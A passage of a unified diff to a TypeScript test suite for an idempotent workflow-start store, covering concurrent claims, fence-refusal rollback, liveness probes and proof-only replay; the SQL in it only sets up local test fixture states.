-  it('lets exactly one of many concurrent callers through', async () => {
-    // #given one reservation and five callers racing its claim — the
-    // cross-isolate race the agent surface cannot serialize any other way
-    const { store } = harness();
-    const { reservation } = await store.reserve(
-      workflowRequest('key-1', 'run-1'),
-    );
-
-    // #when
-    const outcomes = await Promise.all(
-      Array.from({ length: 5 }, () =>
-        store.claim(reservation.key, reservation.runId),
-      ),
-    );
-
-    // #then exactly one winner. Not "at most one", not "usually one".
-    expect(outcomes.filter(Boolean)).toHaveLength(1);
-  });
-
-  it('refuses a claim naming a different run than the reservation holds', async () => {
-    // #given
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-
-    // #when / #then a claim can never land on a row rewritten underneath it
-    expect(await store.claim('key-1', 'run-other')).toBe(false);
-  });
-
-  it('cannot re-claim a reservation that is already started', async () => {
-    // #given a claimed reservation
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    expect(await store.claim('key-1', 'run-1')).toBe(true);
-
-    // #when / #then
-    expect(await store.claim('key-1', 'run-1')).toBe(false);
-  });
-});
-
-describe('StartIdempotencyStore.release', () => {
-  it('returns a claim to reserved so a retry after the fence reopens converges', async () => {
-    // #given a claim taken and then refused by the fence
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
-
-    // #when
-    expect(await store.release('key-1', 'run-1')).toBe(true);
-
-    // #then the SAME run id is claimable again — a fence transition mid-start
-    // must not manufacture an unresolvable reservation out of an operator
-    // action, nor hand the retry a second run.
-    expect((await store.read('key-1'))?.state).toBe('reserved');
-    expect(await store.claim('key-1', 'run-1')).toBe(true);
-    expect((await store.read('key-1'))?.runId).toBe('run-1');
-  });
-
-  it('cannot release a reservation that already settled', async () => {
-    // #given a terminal reservation
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
-    await store.settleRun('run-1');
-
-    // #when / #then a spent key never becomes startable again
-    expect(await store.release('key-1', 'run-1')).toBe(false);
-    expect((await store.read('key-1'))?.state).toBe('terminal');
-  });
-});
-
-describe('StartIdempotencyStore.settleRun', () => {
-  it('marks the run’s reservation terminal and stamps the horizon from that moment', async () => {
-    // #given a claimed reservation, and a clock that moves
-    let now = 1_000;
-    const { store } = harness(() => now);
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
-    now = 5_000;
-
-    // #when
-    expect(await store.settleRun('run-1')).toBe(1);
-
-    // #then
-    const stored = await store.read('key-1');
-    expect(stored?.state).toBe('terminal');
-    expect(stored?.updatedAt).toBe(5_000);
-  });
-
-  it('is a no-op the second time, so every terminal path may call it', async () => {
-    // #given — a run can reach terminal by completing, failing, being cancelled
-    // or timing out, and those paths do not coordinate.
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.settleRun('run-1');
-
-    // #when / #then
-    expect(await store.settleRun('run-1')).toBe(0);
-  });
-
-  it('settles nothing for a run nobody reserved', async () => {
-    // #given the overwhelmingly common case: a run started without a key
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-
-    // #when / #then
-    expect(await store.settleRun('run-unrelated')).toBe(0);
-  });
-});
-
 describe('StartIdempotencyStore against a missing table', () => {
   it('reads as absent, and neither claims nor settles', async () => {
     // #given a database on which no key has ever been used, so the lazy DDL
@@ -430,9 +2223,7 @@ describe('StartIdempotencyStore against a missing table', () => {
     // #when / #then absence is not a fault — it is an empty table by another
     // name — but it must also never look like a successful transition.
     expect(await store.read('key-1')).toBeUndefined();
-    expect(await store.claim('key-1', 'run-1')).toBe(false);
-    expect(await store.release('key-1', 'run-1')).toBe(false);
-    expect(await store.settleRun('run-1')).toBe(0);
+
     expect(await store.reservationsForRuns(['run-1'])).toEqual([]);
   });
 
@@ -483,7 +2274,12 @@ describe('beginIdempotentStart', () => {
     const { store } = harness();
     const persisted = new Map<string, string>();
     const surface: IdempotentStartSurface<string> = {
-      persisted: async (reservation) => persisted.get(reservation.runId),
+      persisted: async (reservation) => {
+        const value = persisted.get(reservation.runId);
+        return value === undefined
+          ? undefined
+          : { kind: 'result', value, execution: executionFor(reservation) };
+      },
       live: async () => false,
     };
 
@@ -514,13 +2310,20 @@ describe('beginIdempotentStart', () => {
     // whose run persisted
     const { store } = harness();
     await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
+    await claimObserved(store, 'key-1');
 
     // #when
     const decision = await beginIdempotentStart(
       store,
       workflowRequest('key-1', 'run-2'),
-      { persisted: async () => 'summary', live: async () => false },
+      {
+        persisted: async (row) => ({
+          kind: 'result',
+          value: 'summary',
+          execution: executionFor(row),
+        }),
+        live: async () => false,
+      },
     );
 
     // #then the persisted state wins over the row's state: a stale `started`
@@ -546,7 +2349,7 @@ describe('beginIdempotentStart', () => {
     // that can never be used again.
     expect(decision).toMatchObject({
       kind: 'start',
-      reservation: { runId: 'run-1', state: 'reserved' },
+      reservation: { runId: 'run-1', state: 'started' },
     });
   });
 
@@ -558,7 +2361,7 @@ describe('beginIdempotentStart', () => {
     const { store } = harness(() => now);
     await store.reserve(workflowRequest('key-1', 'run-1'));
     now = 2_500;
-    await store.claim('key-1', 'run-1');
+    await claimObserved(store, 'key-1');
 
     // #when
     const refusal = await beginIdempotentStart(
@@ -584,7 +2387,7 @@ describe('beginIdempotentStart', () => {
     // persisted, and the host that took it is gone
     const { store } = harness();
     await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
+    await claimObserved(store, 'key-1');
 
     // #when
     const refusal = await beginIdempotentStart(
@@ -608,8 +2411,8 @@ describe('beginIdempotentStart', () => {
     // #given a completed run whose snapshot the retention purge removed
     const { store } = harness();
     await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
-    await store.settleRun('run-1');
+    await claimObserved(store, 'key-1');
+    await settleObserved(store, 'key-1');
 
     // #when
     const refusal = await beginIdempotentStart(
@@ -673,17 +2476,16 @@ describe('beginIdempotentStart', () => {
     // creating the row entitles A to start it, and if both ever believed they
     // could, the key would have bought nothing.
     const { store } = harness();
+    let winnerLive = false;
     const live: IdempotentStartSurface<string> = {
       persisted: async () => undefined,
-      // The winner IS executing — the realistic state of the world at the
-      // moment the loser asks.
-      live: async () => true,
+      live: async () => winnerLive,
     };
     const decisions: string[] = [];
     let loserDecision: unknown;
-    const realClaim = store.claim.bind(store);
+    const realClaim = store.claimReservation.bind(store);
     let interleaved = false;
-    store.claim = async (key: string, runId: string) => {
+    store.claimReservation = async (row) => {
       if (!interleaved) {
         // B arrives in the window between A's insert and A's claim.
         interleaved = true;
@@ -692,8 +2494,9 @@ describe('beginIdempotentStart', () => {
           workflowRequest('key-1', 'run-B'),
           live,
         );
+        winnerLive = true;
       }
-      return realClaim(key, runId);
+      return realClaim(row);
     };
 
     // #when A (the creator) races its own claim against B's
@@ -838,162 +2641,6 @@ describe('beginIdempotentStart', () => {
   });
 });
 
-describe('rollbackFencedStart', () => {
-  it('gives the claim back for a fence refusal and re-throws it unchanged', async () => {
-    // #given a claim consumed by a start the fence refused — provably
-    // pre-execution, because the fence is read before the run lock
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
-    const fenced = new ExecutionFencedError('migration-locked', 'run start');
-
-    // #when
-    const thrown = await rollbackFencedStart(
-      store,
-      'key-1',
-      'run-1',
-      fenced,
-    ).catch((error: unknown) => error);
-
-    // #then the caller still sees the fence's own refusal, and the key is
-    // usable again once the operator reopens.
-    expect(thrown).toBe(fenced);
-    expect((await store.read('key-1'))?.state).toBe('reserved');
-  });
-
-  it('recognizes a fence refusal that crossed a Durable Object boundary', async () => {
-    // #given the shape a fenced run-DO start takes on the Worker side: the
-    // class is gone, the status and structured reason survive
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
-    const wire = Object.assign(new Error('deployment execution is fenced'), {
-      status: 503,
-      reason: { code: 'EXECUTION_FENCED', state: 'migration-locked' },
-    });
-
-    // #when
-    await rollbackFencedStart(store, 'key-1', 'run-1', wire).catch(
-      () => undefined,
-    );
-
-    // #then rolled back all the same — an instanceof-only test would answer
-    // "not a fence refusal" for every caller on the far side of the boundary,
-    // which is where the run router actually sits.
-    expect((await store.read('key-1'))?.state).toBe('reserved');
-  });
-
-  it('KEEPS the claim for any other start failure', async () => {
-    // #given a start that failed for a reason that may well have executed
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
-
-    // #when
-    await rollbackFencedStart(
-      store,
-      'key-1',
-      'run-1',
-      new Error('step exploded'),
-    ).catch(() => undefined);
-
-    // #then still claimed: releasing here would hand the next retry a second
-    // run after a start that may already have charged somebody.
-    expect((await store.read('key-1'))?.state).toBe('started');
-  });
-
-  it('completes the whole round trip: claim, fence refusal, release, reopen, and ONE execution of the same run', async () => {
-    // #given a real fence and a real reservation over one database, and a host
-    // whose start executes paid work — the shape the round trip has to be
-    // proved in, because each half of it is only correct given the other.
-    const sqlite = openSqlite();
-    const binding = sqliteUnitDatabase(sqlite);
-    const store = new StartIdempotencyStore(
-      binding as StartIdempotencyDatabase,
-    );
-    const fence = new ExecutionFenceStore(binding as ExecutionFenceDatabase);
-    await fence.seed('open');
-    await fence.transition({ expected: 'open', next: 'migration-locked' });
-    let executions = 0;
-    const startRun = async (): Promise<void> => {
-      const reading = await fence.read();
-      if (reading.state !== 'open') {
-        throw new ExecutionFencedError(reading.state, 'run start');
-      }
-      executions += 1;
-    };
-    const attempt = async (candidate: string): Promise<StartReservation> => {
-      const decision = await beginIdempotentStart(
-        store,
-        workflowRequest('key-1', candidate),
-        EMPTY_SURFACE,
-      );
-      if (decision.kind !== 'start') throw new Error('expected a start');
-      const { key, runId } = decision.reservation;
-      try {
-        await startRun();
-      } catch (error) {
-        return rollbackFencedStart(store, key, runId, error);
-      }
-      return decision.reservation;
-    };
-
-    // #when the fenced attempt is refused, the operator reopens, and the client
-    // retries with the same key
-    const refused = await attempt('run-1').catch((error: unknown) => error);
-    expect(refused).toBeInstanceOf(ExecutionFencedError);
-    expect((await store.read('key-1'))?.state).toBe('reserved');
-    await fence.transition({ expected: 'migration-locked', next: 'open' });
-    const started = await attempt('run-ignored');
-
-    // #then the retry ran the SAME run the fenced attempt reserved, exactly
-    // once. A rollback that did not land would have left the key UNRESOLVABLE
-    // forever; a rollback that handed back a fresh run id would have made an
-    // operator's drain the cause of a second charge.
-    expect(started.runId).toBe('run-1');
-    expect(executions).toBe(1);
-    expect((await store.read('key-1'))?.state).toBe('started');
-  });
-
-  it('still re-throws the fence refusal when the release itself fails', async () => {
-    // #given a claimed reservation and a store whose release cannot be written
-    // — a storage incident arriving during a deployment that is already
-    // refusing to execute
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
-    store.release = async () => {
-      throw new Error('D1_ERROR: network');
-    };
-    const fenced = new ExecutionFencedError('migration-locked', 'run start');
-
-    // #when
-    const thrown = await rollbackFencedStart(
-      store,
-      'key-1',
-      'run-1',
-      fenced,
-    ).catch((error: unknown) => error);
-
-    // #then the caller sees the FENCE's refusal, not the storage error:
-    // swallowing it would leave the caller believing the deployment is broken
-    // rather than fenced, and the rollback's own failure is not something the
-    // caller can act on.
-    expect(thrown).toBe(fenced);
-    // The claim stayed taken, so the key is now UNRESOLVABLE rather than
-    // startable — recoverable by investigation, which is the direction this
-    // best-effort rollback deliberately fails in.
-    expect((await store.read('key-1'))?.state).toBe('started');
-    await expect(
-      beginIdempotentStart(
-        store,
-        workflowRequest('key-1', 'run-2'),
-        EMPTY_SURFACE,
-      ),
-    ).rejects.toBeInstanceOf(IdempotentStartUnresolvableError);
-  });
-});
-
 describe('requireStartIdempotency', () => {
   it('refuses a key on a host that wired no store', () => {
     // #given / #when / #then honouring the key silently would answer an
@@ -1033,102 +2680,681 @@ describe('reservationsForRuns', () => {
   });
 });
 
-describe('proof-only composition', () => {
-  it('re-asserts the proof binding on a REPLAY, so a run whose binding was lost stays resumable', async () => {
-    // #given a proof-only deployment whose proof run already exists and
-    // persisted, but whose fence has lost its proof_run_id — the shape left by
-    // a fence moved away and back onto the same key while the run survived.
-    // Without the binding, proof-only admits no resume for it at all.
-    const sqlite = openSqlite();
-    const binding = sqliteUnitDatabase(sqlite);
-    const store = new StartIdempotencyStore(
-      binding as StartIdempotencyDatabase,
+function executionFor(row: StartReservationReading): StartExecutionIdentity {
+  return {
+    tablePrefix: '',
+    workflowId: row.targetKind === 'workflow' ? row.targetId : 'agent-loop',
+    runId: row.runId,
+    startToken: 'generation',
+    owner: row.owner,
+    target:
+      row.targetKind === 'workflow'
+        ? { kind: 'workflow', id: row.targetId }
+        : { kind: 'agent', id: row.targetId, threadId: row.threadId as string },
+  };
+}
+async function claimObserved(store: StartIdempotencyStore, key: string) {
+  const row = await store.readForAdmission(key);
+  if (!row) throw new Error('fixture reservation missing');
+  const claim = await store.claimReservation(row);
+  if (!claim) throw new Error('fixture claim missing');
+  return claim;
+}
+async function settleObserved(store: StartIdempotencyStore, key: string) {
+  const row = await store.readForAdmission(key);
+  if (!row) throw new Error('fixture reservation missing');
+  const execution = executionFor(row);
+  await store.associateReservation(row, execution);
+  return store.settleExecution(execution);
+}
+
+describe('FS8 D3 F3 activation', () => {
+  it.each([
+    ['same-tick clock', 1_000],
+    ['backward clock', 900],
+  ] as const)('keeps a delayed creator pending after another caller releases its claim (%s)', async (_scenario, laterClock) => {
+    let clock = 1_000;
+    const h = harness(() => clock);
+    const other = new StartIdempotencyStore(h.binding, { now: () => clock });
+    let entered!: () => void;
+    let release!: () => void;
+    const waiting = new Promise<void>((resolve) => {
+      entered = resolve;
+    });
+    const gate = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const read = h.store.read.bind(h.store);
+    vi.spyOn(h.store, 'read').mockImplementationOnce(async (key) => {
+      entered();
+      await gate;
+      return read(key);
+    });
+    const live = vi.fn(async () => true);
+    const surface = { persisted: async () => undefined, live };
+    const claim = vi.spyOn(h.store, 'claimReservation');
+    const pending = beginIdempotentStart(
+      h.store,
+      workflowRequest('key', 'run'),
+      surface,
+    ).catch((error: unknown) => error);
+    try {
+      await waiting;
+      clock = laterClock;
+      const winner = await beginIdempotentStart(
+        other,
+        workflowRequest('key', 'discarded-run'),
+        EMPTY_SURFACE,
+      );
+      expect(winner.kind).toBe('start');
+      await other.releaseReservation(winner.reservation);
+      const released = await other.readForAdmission('key');
+      const before = rows(h.sqlite);
+      expect(released).toMatchObject({
+        state: 'reserved',
+        createdAt: 1_000,
+        updatedAt: 1_002,
+        binding: { kind: 'unbound' },
+      });
+      release();
+      const outcome = await pending;
+      expect(rows(h.sqlite)).toEqual(before);
+      expect(claim).not.toHaveBeenCalled();
+      expect(live).toHaveBeenCalledExactlyOnceWith(released);
+      expect(outcome).toBeInstanceOf(IdempotentStartPendingError);
+
+      live.mockResolvedValue(false);
+      const retry = await beginIdempotentStart(
+        h.store,
+        workflowRequest('key', 'discarded-retry-run'),
+        surface,
+      );
+      expect(retry).toEqual({
+        kind: 'start',
+        reservation: { ...released, state: 'started', updatedAt: 1_003 },
+      });
+      expect(claim).toHaveBeenCalledExactlyOnceWith(released);
+    } finally {
+      release();
+      await pending;
+    }
+  });
+
+  it('retains a reserved row while its previous wrapper remains live, then reclaims after cleanup', async () => {
+    const h = harness();
+    await h.store.reserve(workflowRequest('key', 'run'));
+    const firstClaim = await claimObserved(h.store, 'key');
+    await h.store.releaseReservation(firstClaim);
+    const before = rows(h.sqlite);
+    const retained = await h.store.readForAdmission('key');
+    const claim = vi.spyOn(h.store, 'claimReservation');
+    const live = vi.fn(async () => true);
+    const surface = { persisted: async () => undefined, live };
+    await expect(
+      beginIdempotentStart(h.store, workflowRequest('key', 'other'), surface),
+    ).rejects.toMatchObject({
+      reason: {
+        code: 'IDEMPOTENT_START_PENDING',
+        runId: 'run',
+        pendingSince: retained?.updatedAt,
+      },
+    });
+    expect(claim).not.toHaveBeenCalled();
+    expect(rows(h.sqlite)).toEqual(before);
+    expect(live).toHaveBeenCalledWith(retained);
+    expect(live.mock.contexts).toEqual([surface]);
+
+    live.mockResolvedValue(false);
+    const decision = await beginIdempotentStart(
+      h.store,
+      workflowRequest('key', 'other'),
+      surface,
     );
-    const fence = new ExecutionFenceStore(binding as ExecutionFenceDatabase);
-    await fence.seed('migration-locked');
-    await fence.transition({
-      expected: 'migration-locked',
-      next: 'proof-only',
-      proofKey: 'proof-key-1',
+    expect(decision).toEqual({
+      kind: 'start',
+      reservation: { ...retained, state: 'started', updatedAt: 1_003 },
     });
-    await store.reserve({
-      ...workflowRequest('proof-key-1', 'proof-run'),
-      key: 'proof-key-1',
+    expect(claim).toHaveBeenCalledExactlyOnceWith(retained);
+    expect(await h.store.readForAdmission('key')).toEqual(decision.reservation);
+  });
+
+  it('leaves a retained reserved row unchanged when its liveness probe throws', async () => {
+    const h = harness();
+    await h.store.reserve(workflowRequest('key', 'run'));
+    await h.store.releaseReservation(await claimObserved(h.store, 'key'));
+    const before = rows(h.sqlite);
+    const claim = vi.spyOn(h.store, 'claimReservation');
+    const failure = new Error('liveness unavailable');
+    await expect(
+      beginIdempotentStart(h.store, workflowRequest('key', 'other'), {
+        persisted: async () => undefined,
+        live: async () => {
+          throw failure;
+        },
+      }),
+    ).rejects.toBe(failure);
+    expect(claim).not.toHaveBeenCalled();
+    expect(rows(h.sqlite)).toEqual(before);
+  });
+
+  it.each([
+    'claim',
+    'release',
+    'release-reclaim',
+  ] as const)('loses the exact reclaim CAS after another caller completes %s during the probe', async (race) => {
+    const h = harness();
+    await h.store.reserve(workflowRequest('key', 'run'));
+    await h.store.releaseReservation(await claimObserved(h.store, 'key'));
+    const retained = await h.store.readForAdmission('key');
+    const other = new StartIdempotencyStore(h.binding, { now: () => 1_000 });
+    const claim = vi.spyOn(h.store, 'claimReservation');
+    let current: StartReservationReading | undefined;
+    let afterWinner: Array<Record<string, unknown>> = [];
+    const live = vi.fn(async () => {
+      if (current !== undefined) return current.state === 'started';
+      const winner = await claimObserved(other, 'key');
+      if (race !== 'claim') {
+        await other.releaseReservation(winner);
+        if (race === 'release-reclaim') await claimObserved(other, 'key');
+      }
+      current = await other.readForAdmission('key');
+      afterWinner = rows(h.sqlite);
+      return false;
     });
-    await store.claim('proof-key-1', 'proof-run');
-    expect((await fence.read()).proofRunId).toBeUndefined();
+    await expect(
+      beginIdempotentStart(h.store, workflowRequest('key', 'other'), {
+        persisted: async () => undefined,
+        live,
+      }),
+    ).rejects.toBeInstanceOf(
+      race === 'release'
+        ? IdempotentStartUnresolvableError
+        : IdempotentStartPendingError,
+    );
+    expect(claim).toHaveBeenCalledExactlyOnceWith(retained);
+    expect(live).toHaveBeenCalledTimes(2);
+    expect(rows(h.sqlite)).toEqual(afterWinner);
+    expect(await h.store.readForAdmission('key')).toEqual(current);
+    expect(current?.updatedAt).toBe(
+      race === 'claim' ? 1_003 : race === 'release' ? 1_004 : 1_005,
+    );
+  });
 
-    // #when a retry carrying the same key finds the run persisted
+  it('replays a persisted retained reservation without probing or claiming', async () => {
+    const h = harness();
+    const { reservation } = await h.store.reserve(
+      workflowRequest('key', 'run'),
+    );
+    const live = vi.fn(async () => {
+      throw new Error('liveness unavailable');
+    });
+    const claim = vi.spyOn(h.store, 'claimReservation');
     const decision = await beginIdempotentStart(
-      store,
-      workflowRequest('proof-key-1', 'ignored'),
-      { persisted: async () => 'summary', live: async () => false },
-      fence,
+      h.store,
+      workflowRequest('key', 'other'),
+      {
+        persisted: async () => ({
+          kind: 'result',
+          value: 'done',
+          execution: executionFor(reservation),
+        }),
+        live,
+      },
     );
+    expect(decision).toMatchObject({ kind: 'replay', persisted: 'done' });
+    expect(claim).not.toHaveBeenCalled();
+    expect(live).not.toHaveBeenCalled();
+  });
 
-    // #then the replay answered with the run's state AND put the binding back
-    expect(decision.kind).toBe('replay');
-    await expect(fence.read()).resolves.toEqual({
-      state: 'proof-only',
-      proofKey: 'proof-key-1',
-      proofRunId: 'proof-run',
+  it('claims a newly created key without consulting liveness or persistence', async () => {
+    const h = harness();
+    const unavailable = vi.fn(async () => {
+      throw new Error('no existing run');
+    });
+    await expect(
+      beginIdempotentStart(h.store, workflowRequest('key', 'run'), {
+        persisted: unavailable,
+        live: unavailable,
+      }),
+    ).resolves.toMatchObject({ kind: 'start' });
+    expect(unavailable).not.toHaveBeenCalled();
+  });
+
+  it('returns the exact winning started row with modern unbound binding', async () => {
+    const h = harness();
+    const decision = await beginIdempotentStart(
+      h.store,
+      workflowRequest('key', 'run'),
+      EMPTY_SURFACE,
+    ).catch((error) => error);
+    expect(rows(h.sqlite)[0]).toMatchObject({
+      state: 'started',
+      start_token: '',
+      updated_at: 1001,
     });
+    expect(decision.reservation).toEqual(await h.store.readForAdmission('key'));
+    expect(decision.reservation.state).toBe('started');
   });
 
-  it('changes nothing on a replay whose key is not the nominated proof key', async () => {
-    // #given a proof-only fence nominating a DIFFERENT key
-    const sqlite = openSqlite();
-    const binding = sqliteUnitDatabase(sqlite);
-    const store = new StartIdempotencyStore(
-      binding as StartIdempotencyDatabase,
+  it.each([
+    'reserved',
+    'started',
+    'terminal',
+  ] as const)('refuses a legacy %s reservation before consulting its producer', async (state) => {
+    const h = harness();
+    const { reservation } = await h.store.reserve(
+      workflowRequest('key', 'run'),
+    );
+    h.sqlite
+      .prepare(
+        'UPDATE flowsafe_start_idempotency SET state = ?, start_token = NULL',
+      )
+      .run(state);
+    const before = rows(h.sqlite);
+    const persisted = vi.fn(async () => ({
+      kind: 'result' as const,
+      value: 'done',
+      execution: executionFor(reservation),
+    }));
+    const outcome = await beginIdempotentStart(
+      h.store,
+      workflowRequest('key', 'other'),
+      { persisted, live: async () => true },
+    ).catch((error) => error);
+    expect(rows(h.sqlite)).toEqual(before);
+    expect(persisted).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(
+      state === 'terminal'
+        ? IdempotentStartAlreadySettledError
+        : IdempotentStartUnresolvableError,
+    );
+  });
+
+  it.each([
+    'bound',
+    'legacy',
+  ] as const)('never attempts to reclaim an absent %s reserved reservation', async (binding) => {
+    const h = harness();
+    const { reservation } = await h.store.reserve(
+      workflowRequest('key', 'run'),
+    );
+    if (binding === 'bound')
+      await h.store.associateReservation(
+        reservation,
+        executionFor(reservation),
+      );
+    else
+      h.sqlite.exec('UPDATE flowsafe_start_idempotency SET start_token = NULL');
+    const before = rows(h.sqlite);
+    const claim = vi.spyOn(h.store, 'claimReservation');
+    const outcome = await beginIdempotentStart(
+      h.store,
+      workflowRequest('key', 'other'),
+      EMPTY_SURFACE,
+    ).catch((error) => error);
+    expect(rows(h.sqlite)).toEqual(before);
+    expect(claim).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(IdempotentStartUnresolvableError);
+  });
+
+  it.each([
+    'startToken',
+    'tablePrefix',
+    'workflowId',
+  ] as const)('compares bound %s before classifying a replacement initial snapshot', async (field) => {
+    const h = harness();
+    const reserved = await h.store.reserve({
+      key: 'key',
+      owner: OWNER,
+      targetKind: 'agent',
+      targetId: 'agent',
+      threadId: 'thread',
+      mintRunId: () => 'run',
+    });
+    const execution = executionFor(reserved.reservation);
+    await h.store.associateReservation(reserved.reservation, execution);
+    const before = rows(h.sqlite);
+    const live = vi.fn(async () => true);
+    const outcome = await beginIdempotentStart(
+      h.store,
+      {
+        key: 'key',
+        owner: OWNER,
+        targetKind: 'agent',
+        targetId: 'agent',
+        threadId: 'candidate',
+        mintRunId: () => 'other',
+      },
+      {
+        persisted: async () => ({
+          kind: 'initial',
+          execution: {
+            ...execution,
+            [field]: field === 'tablePrefix' ? 'other_' : 'replacement',
+          },
+        }),
+        live,
+      },
+    ).catch((error) => error);
+    expect(rows(h.sqlite)).toEqual(before);
+    expect(live).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(IdempotentStartUnresolvableError);
+  });
+
+  it.each([
+    'reserved',
+    'started',
+    'terminal',
+  ] as const)('never associates or replays a matching initial snapshot from %s', async (state) => {
+    const h = harness();
+    const { reservation } = await h.store.reserve(
+      workflowRequest('key', 'run'),
+    );
+    h.sqlite
+      .prepare('UPDATE flowsafe_start_idempotency SET state = ?')
+      .run(state);
+    const before = rows(h.sqlite);
+    const outcome = await beginIdempotentStart(
+      h.store,
+      workflowRequest('key', 'other'),
+      {
+        persisted: async () => ({
+          kind: 'initial',
+          execution: executionFor(reservation),
+        }),
+        live: async () => true,
+      },
+    ).catch((error) => error);
+    expect(rows(h.sqlite)).toEqual(before);
+    expect(outcome).toBeInstanceOf(
+      state === 'terminal'
+        ? IdempotentStartAlreadySettledError
+        : IdempotentStartPendingError,
     );
-    const fence = new ExecutionFenceStore(binding as ExecutionFenceDatabase);
+  });
+
+  it('associates the same observed value after its snapshot disappears and preserves generic undefined results', async () => {
+    for (const value of [{ status: 'success' }, undefined]) {
+      const h = harness();
+      const { reservation } = await h.store.reserve(
+        workflowRequest('key', 'run'),
+      );
+      h.sqlite.exec(
+        'CREATE TABLE mastra_workflow_snapshot (run_id TEXT, snapshot TEXT)',
+      );
+      h.sqlite
+        .prepare('INSERT INTO mastra_workflow_snapshot VALUES (?,?)')
+        .run('run', JSON.stringify(value ?? null));
+      let observedValue = value;
+      const persisted = vi.fn(async () => {
+        const snapshot = h.sqlite
+          .prepare(
+            'SELECT snapshot FROM mastra_workflow_snapshot WHERE run_id = ?',
+          )
+          .get('run') as { snapshot: string } | undefined;
+        if (snapshot === undefined) return undefined;
+        observedValue =
+          value === undefined ? undefined : JSON.parse(snapshot.snapshot);
+        const result = {
+          kind: 'result' as const,
+          value: observedValue,
+          execution: executionFor(reservation),
+        };
+        h.sqlite.exec('DELETE FROM mastra_workflow_snapshot');
+        return result;
+      });
+      const associate = vi.spyOn(h.store, 'associateReservation');
+      const result = await beginIdempotentStart(
+        h.store,
+        workflowRequest('key', 'other'),
+        { persisted, live: async () => false },
+      );
+      expect(rows(h.sqlite)[0]).toMatchObject({
+        start_token: 'generation',
+        state: 'reserved',
+      });
+      expect(
+        h.sqlite.prepare('SELECT * FROM mastra_workflow_snapshot').all(),
+      ).toEqual([]);
+      expect(persisted).toHaveBeenCalledTimes(1);
+      expect(associate).toHaveBeenCalledTimes(1);
+      expect(result.kind).toBe('replay');
+      if (result.kind === 'replay')
+        expect(result.persisted).toBe(observedValue);
+    }
+  });
+
+  it('captures request, receiver, original proof round and caller epoch before any waits', async () => {
+    const h = harness();
+    const fence = new ExecutionFenceStore(h.binding);
     await fence.seed('migration-locked');
+    for (let revision = 0; revision < 8; revision++)
+      await fence.transition({
+        expected: 'migration-locked',
+        next: 'migration-locked',
+        expectedMutationEpoch: revision,
+        expectedRevision: revision,
+        advanceMutationEpoch: revision < 7,
+      });
     await fence.transition({
       expected: 'migration-locked',
       next: 'proof-only',
-      proofKey: 'proof-key-1',
+      proofKey: 'key',
+      expectedMutationEpoch: 7,
+      expectedRevision: 8,
     });
-    await store.reserve(workflowRequest('other-key', 'other-run'));
-    await store.claim('other-key', 'other-run');
-
-    // #when
-    await beginIdempotentStart(
-      store,
-      workflowRequest('other-key', 'ignored'),
-      { persisted: async () => 'summary', live: async () => false },
+    const request: StartReservationRequest = workflowRequest('key', 'run');
+    await h.store.reserve(request);
+    let mintReceiver: unknown;
+    request.mintRunId = function () {
+      mintReceiver = this;
+      return 'other';
+    };
+    const persisted = vi.fn(async (row: StartReservationReading) => {
+      await fence.transition({
+        expected: 'proof-only',
+        next: 'migration-locked',
+        expectedMutationEpoch: 7,
+        expectedRevision: 9,
+      });
+      await fence.transition({
+        expected: 'migration-locked',
+        next: 'proof-only',
+        proofKey: 'key',
+        expectedMutationEpoch: 7,
+        expectedRevision: 10,
+      });
+      return {
+        kind: 'result' as const,
+        value: 'done',
+        execution: executionFor(row),
+      };
+    });
+    const surface = {
+      persisted,
+      live: async () => false,
+    };
+    const nominated = vi.spyOn(fence, 'rebindProofRun').mockResolvedValue(true);
+    const read = fence.read.bind(fence);
+    vi.spyOn(fence, 'read').mockImplementationOnce(async () => {
+      const frame = await read();
+      request.key = 'changed';
+      request.owner = OTHER_OWNER;
+      request.targetId = 'changed';
+      request.mintRunId = () => {
+        throw new Error('mutated mint');
+      };
+      surface.persisted = vi.fn(async () => {
+        throw new Error('mutated callback');
+      });
+      return frame;
+    });
+    const decision = await beginIdempotentStart(
+      h.store,
+      request,
+      surface,
       fence,
+      7,
     );
-
-    // #then the proof slot is untouched: every guard lives in recordProofRun's
-    // own CAS, so an unrelated key is zero rows and no harm.
-    await expect(fence.read()).resolves.toEqual({
+    expect(rows(h.sqlite)).toHaveLength(1);
+    expect(await read()).toMatchObject({
       state: 'proof-only',
-      proofKey: 'proof-key-1',
+      proofKey: 'key',
+      mutationEpoch: 7,
+      transitionRevision: 11,
     });
+    expect(decision).toMatchObject({ kind: 'replay', persisted: 'done' });
+    expect(mintReceiver).toBe(request);
+    expect(persisted.mock.contexts).toEqual([surface]);
+    expect(nominated).toHaveBeenCalledWith(
+      expect.objectContaining({
+        proof: { key: 'key', mutationEpoch: 7, transitionRevision: 9 },
+        mutationEpoch: 7,
+        reservationStore: h.store,
+      }),
+    );
   });
 
-  it('does not fail a replay when the proof re-bind cannot be written', async () => {
-    // #given a fence whose write-back throws — a storage incident during a
-    // replay of a run that already happened
-    const { store } = harness();
-    await store.reserve(workflowRequest('key-1', 'run-1'));
-    await store.claim('key-1', 'run-1');
-    const failing = {
-      recordProofRun: async () => {
